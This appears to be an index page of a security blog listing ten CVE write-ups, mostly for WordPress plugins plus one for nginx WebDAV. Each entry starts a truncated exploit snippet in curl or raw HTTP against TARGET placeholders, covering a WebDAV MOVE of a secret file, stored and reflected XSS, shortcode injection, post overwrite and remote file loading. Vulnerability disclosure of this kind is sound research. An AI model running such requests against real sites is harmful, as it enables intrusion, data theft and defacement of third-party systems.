Articles

§06 · Field notes

CVE · PLUGINS · ZERO-DAYS
GitHub

CVE-2026-27654: nginx-dav-cve-2026-27654

## The Exploit Requires only network access to a DAV-enabled aliased prefix location; no privileged credentials are needed if the `MOVE`/`COPY` endpoint is exposed. ```bash curl -i -s -X MOVE 'http://TARGET/webdav/secret.txt' \ -H 'Host: TARGET' \ -H 'Destination: http://TA...

GitHub

CVE-2025-14548

## The Exploit Authenticated attacker with Contributor-level access (or higher) can persist JavaScript in `event_desc` and trigger it when a calendar page is viewed. ```bash # Store the malicious event description curl -i -k \ -H "Conte...

Read article →
GitHub

CVE-2025-14163

## The Exploit The attacker only needs a victim who is logged in and has `edit_posts` capability to be tricked into loading a malicious request. ```bash curl 'https://TARGET/wp-admin/admin-ajax.php' \ -H 'Content-Type: application/x-www...

Read article →
GitHub

CVE-2025-13838

## The Exploit An authenticated attacker with Contributor-level access or higher can store a malicious shortcode attribute and execute it whenever the page is viewed. ```bash # store payload curl -i -k -X POST "https://TARGET/wp-json/wp/v...

Read article →
GitHub

CVE-2025-14071

## The Exploit Attacker needs authenticated Contributor-level access or higher to inject serialized content into the `dslc_module_posts_output` shortcode. ```bash # 1) create a draft post containing a malicious serialized shortcode payloa...

Read article →
GitHub

CVE-2025-12492

## The Exploit Unauthenticated attackers can retrieve member directory data by calling the Ultimate Member AJAX endpoint with a predictable `directory_id`. ```bash curl -s -X POST "https://<TARGET>/wp-admin/admin-ajax.php" \ -H "Content...

Read article →
GitHub

CVE-2025-14080

## The Exploit Unauthenticated attackers can submit `post_id` via the guest posting AJAX action and overwrite any post. ```bash curl -X POST 'https://TARGET/wp-admin/admin-ajax.php' \ -H 'Content-Type: application/x-www-form-urlencoded' ...

Read article →
GitHub

CVE-2025-14800

## The Exploit Unauthenticated attackers can abuse the plugin's file save endpoint by sending a `file_path` value that points at a remote payload. ```bash curl -X POST 'https://TARGET/wp-admin/admin-ajax.php' \ -H 'Content-Type: applica...

Read article →
GitHub

CVE-2025-12398

## The Exploit The attacker needs no authentication; an unauthenticated visitor can weaponize the `search_key` query parameter. ```http GET /?search_key=%22%3E%3Cscript%3Ealert(1)%3C%2Fscript%3E HTTP/1.1 Host: target.example User-Agent: M...

Read article →
GitHub

CVE-2025-13220

## The Exploit Attacker needs authenticated Contributor-level access or higher to store a malicious Ultimate Member shortcode payload. ```bash # store payload curl -i -X POST "https://TARGET/wp-json/wp/v2/posts" \ -H "Authorization: Bea...

Read article →